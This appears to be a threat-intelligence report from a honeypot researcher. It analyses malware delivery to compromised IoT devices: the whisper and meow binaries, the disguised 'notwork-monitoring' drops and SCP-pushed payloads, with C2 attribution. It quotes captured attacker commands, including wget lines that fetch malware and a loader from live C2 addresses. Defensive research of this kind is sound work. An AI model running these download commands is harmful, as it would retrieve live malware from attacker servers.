LSN โ€” Local Sovereign Network

OPEN SOURCE INTELLIGENCE โ€” MALWARE DELIVERY FORENSICS

TI-2026-037C
The Ghost Machines

The Delivery Networks โ€” Every Binary That Crossed the Wire

๐Ÿ“… Published: June 2026 ๐Ÿ”ฌ Source: LSN Honeypot Binary Capture + OSINT Enrichment ๐Ÿ“Š Evidence: 26 downloads, 16 unique hashes, 6 C2 servers, 4 malware families ๐Ÿ”— Series: The Ghost Machines โ€” Anatomy of Device Recruitment โš ๏ธ Confidence: HIGH โ€” direct binary capture + infrastructure correlation

I. Abstract โ€” 26 Packages, 16 Fingerprints

Every compromised device receives a delivery. Sometimes it's a binary downloaded via wget. Sometimes it's uploaded directly through SCP. Sometimes it arrives with a name designed to blend in. Sometimes it arrives with no name at all.

The LSN honeypot has captured 26 file deliveries containing 16 unique SHA-256 hashes. These deliveries came from 6 distinct hosting servers, via 4 distinct methods, targeting 2 CPU architectures. Together, they reveal the complete supply chain of malware delivery โ€” from compilation to deployment, from C2 server to compromised device.

๐Ÿ“Š The Download Landscape

Delivery MethodDownloadsUnique HashesSource
HTTP download (wget/curl)113Latvia (whisper), Google Cloud (meow)
Direct file transfer (SCP/SFTP)876 different IPs โ€” no URL recorded
Named drop ("notwork-monitoring")44Unknown โ€” deployed via session
Obfuscated drop ("Tmwl3bcg")11Unknown โ€” random filename

26 total captures across 16 unique SHA-256 hashes. Period: May 24 โ€“ June 21, 2026.

This dossier follows each delivery method from the source to the device, identifies the infrastructure behind each malware family, and maps the relationships between delivery networks that appear independent but share operational patterns.

II. The Four Delivery Methods

How a binary arrives tells you as much as what it does. The delivery method reveals the operator's sophistication, their infrastructure preferences, and their relationship to the target device.

๐Ÿ”ฌ Delivery Method Taxonomy

MethodHow It WorksWhat It Tells UsDetection Difficulty
HTTP Pull wget http://C2/malware Operator maintains dedicated C2 server. Binary hosted publicly. Relies on device having wget/curl. ๐ŸŸข Easy โ€” URL in logs, binary on C2
SCP/SFTP Push Direct file transfer through SSH session Operator uploads binary directly. No external server needed. No URL logged. Requires SSH channel. ๐Ÿ”ด Hard โ€” no URL, no wget in logs
Named Drop File appears as "notwork-monitoring" Operator names binary to evade basic keyword detection. Deliberate misspelling or social engineering. ๐ŸŸก Medium โ€” filename in logs but disguised
Obfuscated Drop File appears as "Tmwl3bcg" Random alphanumeric name. No attempt to disguise โ€” just avoid signature matching. ๐ŸŸก Medium โ€” suspicious filename

The HTTP Pull operators are the loudest. The SCP Push operators are the quietest. And the Named Drop operators are the most interesting โ€” they're thinking about what a system administrator would see if they glanced at a process list.

III. The Whisper โ€” Latvia's ARM Malware Factory

On June 13, 2026, at 12:05 UTC, a single IP โ€” 31.170.22.205 โ€” logged into the honeypot and downloaded three files from itself:

๐Ÿ”ฌ The Whisper Download Sequence

wget http://31.170.22.205/bins/whisper.armv5   # ARM v5 (old routers, embedded)
wget http://31.170.22.205/bins/whisper.armv5   # Retry (same hash)
wget http://31.170.22.205/bins/whisper.armv5   # Retry (same hash)
wget http://31.170.22.205/bins/whisper.armv6   # ARM v6 (Raspberry Pi 1, newer routers)
wget http://31.170.22.205/dl600               # Loader/downloader binary

The scanner downloaded its own malware from its own server. This is the simplest possible C2 architecture: the scanning node is the hosting node. No separation between the attacker and the payload.

๐Ÿ“‹ The Whisper C2: 31.170.22.205

FieldValue
IP31.170.22.205
Country๐Ÿ‡ฑ๐Ÿ‡ป Latvia
ASNAS42099 (Sia Nano IT โ†’ Netvision)
RDAP OrganizationSia Nano IT
RDAP Phone+37166100107 (Latvian landline)
RDAP AddressLatgales iela 240 - 3 (Riga, Latvia)
Threat Score4.0 (deceptively low)
Abuse ReportsNone filed
Honeypot Sessions2 total, 1 successful
HASSH Fingerprint57e4cc8ee36c3d78 (paramiko_script โ€” Python)

Sia Nano IT is registered at Latgales iela 240, apartment 3, in Riga. This is a residential address in the Latgale suburb. The company operates AS42099 with the trade name "Netvision." The phone number is a Riga landline. Zero abuse reports โ€” this IP is invisible to the abuse reporting ecosystem.

The binary names tell the story: whisper.armv5 and whisper.armv6 target two generations of ARM processors. ARMv5 dates to the early 2000s โ€” found in old Linksys WRT routers, early NAS devices, and first-generation IoT hardware. ARMv6 is the Raspberry Pi 1/Zero architecture and modern consumer routers. The name "whisper" is deliberately quiet โ€” a process called "whisper" in a system process list is less alarming than "mirai" or "botnet."

Both architecture binaries share the same SHA-256 hash: 58189cbd4e6dc0c7... โ€” which means they're either the same binary (a fat binary or an architecture-agnostic script) or the C2 server is serving the same file regardless of the requested architecture. The latter would indicate a rushed or test deployment.

The companion binary dl600 (SHA-256: d5ecab0f13eb33cf...) is a loader โ€” a small program whose only purpose is to download and execute the next stage. The "600" likely refers to a configuration parameter (possibly a port number, a sleep interval, or a build iteration).

Q: Why does a Latvian hosting company with a Riga apartment address have zero abuse reports while hosting malware binaries?
A: Because the IP has only 2 honeypot sessions โ€” it barely touches external targets. This is a C2 server, not a scanner. It doesn't initiate connections; it waits for compromised devices to call home. Abuse reports are triggered by scanning and brute-forcing โ€” activities performed by the scanner nodes, not the C2. The C2 server sits quietly at a residential address in Riga, serving binaries to devices that have already been compromised by other nodes in the network. It is invisible by design.

IV. The meow Pipeline โ€” Google Cloud's Shadow

The meow delivery pipeline was detailed in TI-2026-037B, but its infrastructure deserves a delivery-focused analysis.

โ˜๏ธ meow Delivery Infrastructure

ComponentIPProviderBinaries Served
Primary C235.237.91.38Google Cloudmeow (x86), meowarm64 (ARM64)
Backup C234.181.210.37Google Cloudmeow (x86), meowarm64 (ARM64)
URLDownloads CapturedArchitecture
http://35.237.91.38/meow24x86/x86_64
http://35.237.91.38/meowarm6424ARM64/AArch64
http://34.181.210.37/meow8x86/x86_64
http://34.181.210.37/meowarm648ARM64/AArch64

The meow operator maintains two C2 servers โ€” both on Google Cloud โ€” serving identical binaries. When the primary fails, the deployment command falls through to the backup. This is infrastructure resilience using a legitimate cloud provider's global network.

The contrast with the whisper operation is instructive:

โš–๏ธ Whisper vs. meow โ€” Two Philosophies of Malware Delivery

AspectWhisper (Latvia)meow (Google Cloud)
C2 LocationResidential address, Riga apartmentGoogle Cloud VMs, disposable
C2 LifetimePersistent (same IP for months)Ephemeral (free trial, ~72 hours)
Architecture TargetsARMv5, ARMv6 (old routers)x86, ARM64 (modern devices)
Abuse Reports0 (invisible)100/100 (fully exposed)
Deployment MethodSelf-hosted, scanner = C2Separate scanner + C2 VMs
Persistence StrategyStealth (zero reports)Burn-and-replace (new accounts)
Name Strategy"whisper" โ€” deliberately quiet"meow" โ€” deliberately childish

Two opposite approaches to the same problem. Whisper hides. Meow doesn't care about being found โ€” it replaces itself faster than abuse reports can be processed.

V. The "notwork-monitoring" โ€” Four Hashes, One Hour

On June 8, 2026, between 21:03 and 22:22 UTC โ€” a window of 79 minutes โ€” four files arrived at the honeypot. All four were named notwork-monitoring. All four had different SHA-256 hashes.

๐Ÿ“ฆ The notwork-monitoring Deliveries

Time (UTC)SHA-256 (truncated)Interval
21:03:12e766a00fb1121248...โ€”
21:30:31458f96a31679aa2b...27 min
21:40:07c82a38204e063741...10 min
22:22:47f2ca2b2051c2a98e...43 min

Same filename. Four different binaries. Deployed over 79 minutes. This is not a scripted deployment โ€” it's an operator manually testing different builds of the same payload.

The name "notwork-monitoring" is a masterpiece of social engineering. At a glance in a process list:

$ ps aux | grep monitor
root     1234  0.1  0.2  notwork-monitoring     # Looks like a network monitoring tool
root     5678  0.0  0.1  /usr/bin/node_exporter  # Actual Prometheus exporter

A system administrator scanning their process list would see "notwork-monitoring" and assume it's a legitimate network monitoring daemon โ€” perhaps installed by another admin, perhaps part of a monitoring stack. The deliberate misspelling of "network" as "notwork" could be interpreted two ways: a typo by a non-English-speaking operator, or a deliberate evasion of keyword-based detection rules that look for exact matches of "network-monitoring."

The four different hashes in 79 minutes suggest an operator who is actively compiling and deploying. They upload build #1, test it, compile a fix, upload build #2, iterate. This is real-time development and deployment against a live target โ€” the honeypot is being used as a test environment.

Q: If the operator is testing builds in real time, does that mean they know this is a honeypot?
A: Possibly โ€” but it doesn't matter. A honeypot provides a controlled environment where the operator can verify their binary executes, their persistence works, and their process name appears correctly in ps output. Some operators deliberately use honeypots for testing because the consequences of failure are zero. The 79-minute iteration cycle โ€” compile, upload, test, fix, repeat โ€” is consistent with a developer working at a keyboard, not an automated system.

VI. The Silent Uploads โ€” No URL, No Command, Just a File

Eight file captures have no URL and no download command in the session logs. These files appeared on the honeypot filesystem without any visible mechanism โ€” no wget, no curl, no shell command at all.

๐Ÿ‘ค The Silent Upload Census

SHA-256 (truncated)Source IPsFirst SeenWhat It Means
a8460f446be54041...6May 24Most shared payload โ€” 6 different IPs uploaded the same binary
01ba4719c80b6fe9...3May 24Second most shared โ€” 3 IPs
603dd8562b98ed7e...1Jun 13Unique binary from single operator
b3d1bcd1f1b31cdf...1May 26Unique binary
c50744c33f554b3b...1Jun 1Unique binary
d946dbc57684f968...1Jun 6Unique binary
e53619ba943f2780...1Jun 20Most recent unique binary
535760e630fb32e1...1Jun 1Unique binary

These files were transferred via SCP (Secure Copy Protocol) or SFTP โ€” both use the SSH channel to transfer files without executing shell commands. The honeypot logs the file's hash but has no shell command to associate with it.

The hash a8460f446be54041... is the most significant: six different source IPs uploaded the exact same binary. This means six nodes in a botnet share the same compiled payload and deploy it via direct file transfer. They don't download it from a C2 server โ€” they carry it with them. The binary is embedded in the scanning tool itself.

This is the most operationally secure delivery method. No external C2 server. No HTTP request logged. No URL for a firewall to block. The malware travels inside the SSH session, invisible to network-level detection. The only evidence is the file hash โ€” and only a honeypot specifically designed to capture file transfers would record even that.

There is also Tmwl3bcg โ€” a randomly generated 8-character string used as a filename. This is anti-signature naming: the filename changes with every deployment, preventing any rule-based detection that matches on known malware filenames. The hash 6d1fe6ab3cd04ca5... was seen only once, on June 21.

Q: If SCP transfers leave no shell command in logs, how does the honeypot detect them?
A: Cowrie โ€” the honeypot software โ€” implements a full SSH protocol stack including the SCP/SFTP subsystems. When an attacker uses scp localfile user@honeypot:/tmp/malware, Cowrie accepts the transfer, saves the file to a quarantine directory, records its SHA-256 hash, and logs the metadata. The file never actually executes โ€” Cowrie is a simulation. But the file is captured, and the operator believes they've successfully deployed their payload.

VII. w1n ltd โ€” The UK Company That Isn't

The whisper C2 server at 31.170.22.205 (Sia Nano IT, Latvia) shares its HASSH fingerprint โ€” 57e4cc8ee36c3d78 (paramiko_script) โ€” with a 3-node cluster belonging to w1n ltd (AS42237).

๐Ÿ“‹ w1n ltd โ€” The Identity Archaeology

Data SourceWhat It SaysWhat It Means
ASN Registration๐Ÿ‡ฌ๐Ÿ‡ง United KingdomCompanies House registration
RDAP Maintainerlir-uk-win-1-MNTUK-based LIR (Local Internet Registry)
Abuse Emailabuse@w1n.nl๐Ÿ‡ณ๐Ÿ‡ฑ Netherlands domain
Abuse Phone #1+3805023019318๐Ÿ‡บ๐Ÿ‡ฆ Ukrainian mobile (malformed โ€” extra digit)
Abuse Phone #2+380502309318๐Ÿ‡บ๐Ÿ‡ฆ Ukrainian mobile (corrected)
Network Name"Dedicated-Servers"Generic hosting label
Geolocation (Primary IP)๐Ÿ‡ธ๐Ÿ‡ช SwedenWhere the traffic originates
Geolocation (Secondary)๐Ÿ‡ฌ๐Ÿ‡ง UKโ€”
Shodan (185.246.128.133)Ports 137, 445SMB/NetBIOS โ€” file sharing protocol

UK company. Netherlands email. Ukrainian phone. Swedish servers. And the primary attack node has SMB ports open โ€” the same protocol used by WannaCry, NotPetya, and EternalBlue.

๐Ÿ•ธ๏ธ w1n ltd Attack Profile

IPCountryThreatAbuseHitsSuccessesTool
185.246.128.133๐Ÿ‡ธ๐Ÿ‡ช SE951005,9595,197paramiko_script
193.105.134.45๐Ÿ‡ธ๐Ÿ‡ช SE67.69988paramiko_script
193.105.134.95๐Ÿ‡ฌ๐Ÿ‡ง GB0โ€”11paramiko_script

The primary node (185.246.128.133) has 5,959 honeypot sessions โ€” the second-highest session count of any single IP in the entire dataset, behind only the Private Layer relay (179.43.139.58 with 7,135). 3,289 AbuseIPDB reports. Active since March 21, 2026. Using Paramiko โ€” a Python SSH library.

The Paramiko fingerprint connects w1n ltd directly to the Whisper C2 server. Both use the same Python SSH library with the same version and configuration. The connection is not circumstantial โ€” it is a shared toolchain. The operator wrote their scanner in Python using Paramiko, deployed it on w1n ltd infrastructure in Sweden, and hosted their malware payloads on Sia Nano IT infrastructure in Latvia.

The credential pattern reinforces this: admin:admin (3,717 uses) and admin:123456 (1,687 uses) โ€” identical to the proxy hunter campaigns documented in TI-2026-037A. Same credential dictionary. Same target profile. Different infrastructure.

Q: Why does the primary w1n node have SMB ports (137, 445) open?
A: Two possibilities. First: the operator is running Windows (or Samba) on the attack node and SMB is an unintentional exposure โ€” a configuration oversight. Second: the node doubles as an SMB attack platform, using EternalBlue or similar SMB exploits alongside its SSH brute-forcing. SMB exploitation and SSH brute-forcing complement each other โ€” SMB targets Windows machines, SSH targets Linux/IoT. A single node running both attacks covers the entire spectrum of networked devices.
Q: What is the relationship between w1n ltd (UK) and Sia Nano IT (Latvia)?
A: The shared HASSH fingerprint proves the same software connects from both networks. The Ukrainian phone number in w1n's RDAP records suggests the actual operator is Ukrainian, using a UK company registration for legitimacy, a Netherlands domain for email, Swedish servers for attack infrastructure, and a Latvian residential address for C2 hosting. This is a five-country identity dispersion โ€” the same pattern documented in the ISAEV/SOLDATOV Kazakhstan network (TI-2026-037A).

VIII. The Architecture Map โ€” Who Delivers What to Where

The complete delivery network, assembled from all evidence:

๐Ÿ—บ๏ธ The Complete Malware Delivery Ecosystem

Malware FamilyC2 ServerScanner NetworkArchitectureDeliveryPurpose
whisper 31.170.22.205 (๐Ÿ‡ฑ๐Ÿ‡ป Latvia, Nano IT) w1n ltd (๐Ÿ‡ฌ๐Ÿ‡ง/๐Ÿ‡ธ๐Ÿ‡ช, 5,959 hits) ARMv5, ARMv6 HTTP pull IoT botnet (old routers)
meow/meowarm64 35.237.91.38 + 34.181.210.37 (โ˜๏ธ Google Cloud) Google Cloud (35.196.x, 34.85.x) x86, ARM64 HTTP pull DDoS botnet (Mirai variant)
notwork-monitoring Unknown (direct session) Unknown Unknown Named drop Persistence/proxy (4 test builds)
SCP payloads (6-IP) Embedded in scanner 6 distributed IPs Unknown SCP push Unknown (most shared payload)
Tmwl3bcg Unknown 1 IP Unknown Obfuscated drop Unknown (anti-signature naming)
dl600 31.170.22.205 (๐Ÿ‡ฑ๐Ÿ‡ป Latvia, same as whisper) Same as whisper Unknown HTTP pull Loader/downloader (stage 1)

The architecture targets reveal the market segmentation of IoT malware:

๐Ÿ”ง CPU Architecture โ†’ Device Class โ†’ Business Model

ArchitectureTypical DevicesMalware FamilyEconomic Value
ARMv5 (32-bit, old)Linksys WRT54G, old NAS, first-gen IoTwhisperLow โ€” limited bandwidth, but massive installed base
ARMv6 (32-bit)Raspberry Pi Zero/1, consumer routers 2010-2018whisperMedium โ€” decent bandwidth, common in homes
ARM64 (64-bit)Raspberry Pi 3/4/5, modern routers, SBCsmeowHigh โ€” good CPU/RAM, residential IPs
x86/x86_64Servers, VMs, cloud instances, desktopsmeowHighest โ€” computing power + bandwidth

The whisper operator targets the bottom of the hardware stack โ€” the oldest, weakest devices that still have default passwords. The meow operator targets the top โ€” modern devices with computational resources. They're not competitors. They're harvesting different segments of the same market.

IX. The Questions That Remain

Q: Hash a8460f446be54041... was uploaded by 6 different IPs via SCP. What is this binary?
A: Without static analysis of the captured binary, we cannot determine its function. However, the delivery pattern โ€” 6 independent IPs carrying the same payload โ€” indicates a botnet where the scanner binary includes the payload as an embedded resource. When the scanner compromises a device, it uploads its payload directly through the SSH session. This is the most operationally secure delivery method: no C2 server to take down, no URL to block, no DNS to sinkhole. The binary propagates like a biological virus โ€” each infected host carries the infection to the next.
Q: Why do the whisper operator and the meow operator both target ARM devices but use different architecture versions?
A: Because they're harvesting different generations of the same device ecosystem. ARMv5 devices (whisper's targets) are 15-20 years old โ€” they're the routers and embedded systems that have been running unpatched in closets and basements since 2005. ARMv6/v7 devices (whisper's newer targets) are 8-15 years old. ARM64 devices (meow's targets) are the current generation. The operators are not competing โ€” they're stratified by age. The whisper operator gets the devices too old for the meow operator to bother with. In economic terms: whisper mines the long tail of obsolete infrastructure.
Q: Four "notwork-monitoring" builds in 79 minutes. Is that normal development velocity for malware?
A: It's fast but not unusual. Modern malware development follows the same agile practices as legitimate software: write code, compile, deploy to test environment (the honeypot), observe behavior, fix bugs, iterate. The 79-minute window represents a single development session โ€” probably one person at a keyboard fixing a specific issue. The use of a honeypot as a test environment is pragmatic: it's a safe target where deployment failures don't alert defenders, and the operator can verify their binary runs correctly in a realistic Linux environment.
Q: What happens to all these binaries after they're captured by the honeypot?
A: In the LSN pipeline: each binary's SHA-256 hash is recorded and stored. The files themselves are quarantined in a capture directory. They are never executed โ€” Cowrie simulates command execution without actually running malware. The hashes can be submitted to VirusTotal, MalwareBazaar, or other malware repositories for identification. The session metadata (source IP, timestamp, delivery method, associated commands) is stored in the threat intelligence database and enriched with AbuseIPDB, GreyNoise, OTX, and RDAP data. Every binary that crosses the wire becomes intelligence.
โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Ghost Machines โ€” 3 / 6 Next โ†’